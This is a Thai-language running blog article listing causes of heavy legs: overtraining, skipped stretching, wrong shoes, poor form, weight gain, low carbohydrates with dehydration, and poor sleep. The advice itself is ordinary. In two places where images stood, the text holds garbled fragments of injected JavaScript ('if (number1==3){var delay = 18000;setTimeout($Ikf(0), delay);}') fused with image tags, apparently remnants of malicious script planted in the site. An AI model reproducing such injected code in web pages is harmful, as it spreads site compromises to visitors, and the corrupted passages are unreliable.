วิ่งเเล้วมันจะหน่วงๆ หน่อย…อาการขาหนักของนักวิ่งเกิดขึ้นได้เพราะอะไร มาดูกัน

อาการหน่วงเป็นความรู้สึกที่ยิ่งออกแรงก็ยิ่งวิ่งแย่ลง รู้สึกร่างกายมีมวลมากขึ้นเคลื่อนตัวลำบาก Pace ก็ตกลง ยิ่งพยายามมากขึ้น performance ตัวเองก็ยิ่งตกลง สำหรับนักวิ่งมือใหม่เพิ่งเริ่มวิ่งสามารถข้ามไปได้เลยครับ วิ่งแรกๆ เท้าและขาเรามันจะหน่วงอยู่แล้วเพราะกล้ามส่วนที่ใช้งานยังไม่เคยถูกกระตุ้น ปอดและการเต้นของหัวใจก็เช่นกันแต่สำหรับนักวิ่งที่ออกฝึกซ้อมลงงานวิ่งแข่งขันมาพักใหญ่ก็อาจจะมีอาการหน่วงเกิดขึ้นได้

วิ่งเเล้วมันจะหน่วงๆหน่อย…อาการขาหนักของนักวิ่งเกิดขึ้นได้เพราะอะไร มาดูกัน

1. Overtraining ประการแรกนั้นคือ ตารางฝึกวิ่งมากเกินไปจนร่างกายไม่สามารถ Recovery ได้ทัน การฝึกวิ่งบ่อยๆ เข้า กล้ามเนื้อชุดเดิมๆ จะถูกใช้งาน จนเมื่อถึงจุดที่ร่างกายไม่สามารถซ่อมแซมได้ทัน หากฝึกต่อไป นอกจาก Performance จะตกแล้วยังเสี่ยงต่อการเกิดอาการบาดเจ็บได้ ลักษณะที่จะส่งผลไปยังการเกิดอาการขาหนักและ overtraining ได้แก่

• ตารางการฝึกซ้อมวิ่งที่ถี่มาก
• ไมล์วิ่งสะสมจำนวนมากในระยะเวลาสั้นๆ
• การเพิ่มระยะทางวิ่งแบบก้าวกระโดด
• การเร่งรีบฝึกซ้อมเพื่อปรับ Performance ให้ตัวเองเร็วและไปได้ไกลขึ้น

หากฝึกผสม Strength training เข้าไปด้วย ควรปรับปริมาณความเข้มข้นและจำนวนครั้งให้เหมาะสมกับแผนการวิ่งด้วย ไม่งั้นได้ขาหนักแน่นอน โดยคำแนะนำสำหรับนักวิ่ง ควรแบ่งออกเป็น

• Off-season ในช่วงเวลาที่ไม่มีการวิ่งแข่งขันหลักๆ นักวิ่งโฟกัสกับการฝึกกล้ามเนื้อเพื่อสร้างกล้ามเนื้อและพลัง ช่วยโทนร่างกายให้แข็งแรง
• In-season ช่วงเวลาลงงานแข่งขัน ให้ลดทอนการฝึกกล้ามเนื้อลง เน้นการฝึกวิ่ง

2. ละเลยการ ยืดเส้นหลังวิ่ง (Skipping Post-Run Stretches) เพราะการยืดเส้นจะช่วยลดการตึงตัวของกล้ามเนื้อลง ให้กล้ามเนื้อมีความยืดหยุ่นมากขึ้น กล้าเนื้อที่ตึงและแข็งตัวจะไม่มีความยืดหยุ่น จะเสี่ยงต่อการเกิดการบาดเจ็บได้สูง การยืดเส้นยังรวมไปถึงการนวดด้วย เพราะจะช่วยไล่ของเสียในเซลล์ออกไป ให้เลือดใหม่นำสารอาหารและออกซิเจนไปเลี้ยงเพื่อฟื้นฟูร่างกาย

พยายามยืดเหยียดร่างกายหลังวิ่งประมาณ 10 นาที โดยเฉพาะกล้ามเนื้อส่วน quadriceps, hamstrings, ช่วงก้น (glutes), เอว, และแผ่นหลัง

3. ใส่รองเท้าผิดประเภทผิดแบบดูเหมือนจะเป็นปัจจัยที่จะไม่เกี่ยวข้องเท่าไหร่ แต่รองเท้าวิ่งนั้นมีอยู่หลักๆ 3 ประเภท ได้แก่ รองเท้าวิ่งแข่ง (Race shoe) เบาสุดและแพงสุด รองเท้าแบบ Support สำหรับคนที่มีน้ำหนักเยอะที่สุดหรือรูปเท้าไม่ธรรมดา และรองเท้าวิ่งธรรมดาทั่วไปแบบ All-around น้ำหนักและราคาระดับกลางๆ ทั้งหมดนี้มีน้ำหนักต่างกัน มีความเหมาะสมกับการใช้งานต่างกัน หากคุณพัฒนาจากนักวิ่งธรรมดาที่ใส่รองเท้า All-around ก็ควรลองเปลี่ยนมาใส่รองเท้าแบบ Race shoe ดู ซึ่งมีน้ำหนักเบากว่า อาจจะช่วยเพิ่มความเร็วและความคล่องตัวให้คุณได้ แม้แต่รองเท้ายี่ห้อเดียวกันยังแตกไลน์รุ่นออกมาเป็นสิบ หนักเบาก็ต่างกัน นักวิ่งจึงควรเลือกรองเท้าดูน้ำหนักให้พอเหมาะกับตัวเอง และอย่าลืมเปลี่ยนรองเท้าเมื่อหมดอายุของมัน (ประมาณ 400 -800 Km)

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash-1-800×500.jpg” alt=”” class=”wp-image-9001″/>

4. ท่าวิ่งผิดการมีท่าวิ่งที่ผิด (Running posture) จะทำให้กล้ามเนื้อรองรับความเครียดจากการกระแทกมากขึ้น ทำให้กล้ามเนื้อทำงานมากกว่าเดิม เมื่อยล้าเร็วขึ้นและนำไปสู่การบาดเจ็บ นักวิ่งลองสังเกตดูว่า…

• Ground contact time: ขาแต่ละข้างใช้เวลาเหยียบพื้นนานไปหรือไม่ การแตะพื้นนานหมายถึงรับน้ำหนักนานขึ้น รอบขาช้า ความเร็วก็จะช้าลงไปด้วย
• Vertical oscillation: เวลาวิ่งร่างกายเรามีการเคลื่อนไหวขึ้นลงมากหรือไม่ วิ่งแล้วดูเหมือนกระโดดขึ้น เพราะพลังงานที่ใช้ควรจะพุ่งไปข้างหน้า เวลาวิ่งควรจะมีการเคลื่อนไหวแนวดิ่งให้น้อย การที่เราวิ่งเหมือนกระโดด เราจะใช้พลังงานดันตัวขึ้นลงมากกว่าไปข้างหน้า   

5. น้ำหนักเพิ่มขึ้นหรือไหมหากคิดว่าวิ่งแล้วกินอะไรก็ได้ รับรองว่าน้ำหนักจะเพิ่มขึ้นแน่นอน ยิ่งร่างกายมีมวลมาก เราจำเป็นต้องใช้พลังงานออกแรงผลักดันมากขึ้นไปด้วย เราจะเหนื่อยเร็วขึ้น และไม่สามารถเคลื่อนไหวได้คล่องตัวเหมือนตอนที่ผอมแน่นอน

6.  แป้งน้อยและขาดน้ำ (Low carbohydrate diet & dehydrate)วิ่งต้องใช้พลังงาน และแป้งก็เป็นพลังงานส่วนสำคัญ โดยร่างกายจะกักเก็บไว้ในมัดกล้ามเนื้อที่เรียกว่าไกลโคเจน หลายๆ คนอยากจะผอมให้เร็วขึ้น จึงอดอาหารก่อนออกวิ่งโดยเฉพาะการงดแป้ง นั้นทำให้ร่างกายไม่มีพลังงานในการวิ่ง (เมื่อวิ่งร่างกายจะใช้พลังงานผสมผสานกันระหว่างแป้งและไขมัน) การงดแป้งในปริมาณมากจะทำให้ร่างกายไม่มีแหล่งพลังงานสะสม ขาดพลังงานในการวิ่ง ทำให้เกิดสภาวะ Dead leg ไม่มีแรงวิ่งมากกว่าวิ่งแล้วหน่วงๆ   

เรื่องต่อมาคือการขาดน้ำ ร่างกายอยู่ในสภาวะ Dehydration ซึ่งมีโอกาสที่จะเกิดตะคริวก่อนจะขาหน่วงได้อีก และยังทำให้เหนื่อยได้ง่ายและเร็วกว่าปกติ สำหรับการวิ่งและการฝึกซ้อมวิ่งระยะไกล น้ำถือว่าเป็นสิ่งที่สำคัญมาก การขาดน้ำทำให้เลือดมีความเข้มข้นขึ้น การไหลเวียนจะทำได้ยากขึ้นและหัวใจต้องทำงานปั้มเลือดหนักขึ้นกว่าเดิม วิธีป้องกัน อย่างเช่น ดื่มเมื่อเริ่มมีอาการกระหายน้ำ (ถึงแม้อาการกระหายจะหมายถึงเราขาดน้ำแล้วก็ตาม) พยายามจับสัญญาร่างกายและดื่มน้ำทันที ถ้าไม่รู้ว่าต้องเองกระหายน้ำหรือเปล่า ไม่คุ้นกับการจับความรู้สึกตัวเองก็ให้ใช้วิธีตั้งเวลาบนนาฬิกาวิ่งตัวเอง 15-20 นาทีแล้วดื่ม พกพาขวดน้ำหรือสวมเป้น้ำไปด้วยเมื่อต้องวิ่งระยะทางไกล สุดท้ายหากสภาพอากาศร้อนมากกว่าเดิมหรือมีอาการเสียเหงื่อมากขึ้นกว่าปกติ ให้ดื่มน้ำบ่อยและถี่ขึ้น

ท้ายสุดแถมให้คือ มีสภาวะนอนหลับพักผ่อนไม่พอ และการนอนหลับไม่เพียงพอจะมีอาการเหนื่อยแสดงออกชัดเจน ความสามารถในการตั้งโฟกัสลดลง นักวิ่งระดับจริงจังจนถึงระดับ Elite ใช้เวลานอนพักผ่อนมากถึง 7-9 ชั่วโมง สำหรับนักวิ่งมือใหม่ๆ วันไหนที่ฝึกเยอะอาจจะหลับนานถึง 10 ชั่วโมงก็ได้

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-gorn-471463-unsplash-800×466.jpg” alt=”นอนหลับก่อนวันเเข่ง” class=”wp-image-8721″/>

นอกสังเกตว่าการนอนหลับพักผ่อนไม่เพียงพอและเป็นสาเหตุการวิ่งแล้เกิดอาการหน่วงๆ ขาหนัก ให้ จัดเวลานอนหลับพักผ่อนเป็นกิจกรรมหลัก จัดตารางนอนเหมือนกับการออกไปฝึกซ้อมวิ่ง ปิด TV, มือถือ ปิดคอม 30 นาทีก่อนเข้านอน หลีกเลี่ยงเครื่องดื่มแอลกอฮอล์และเครื่องดื่มที่มีคาเฟอีนก่อนนอน

อ้างอิง www.verywellfit.com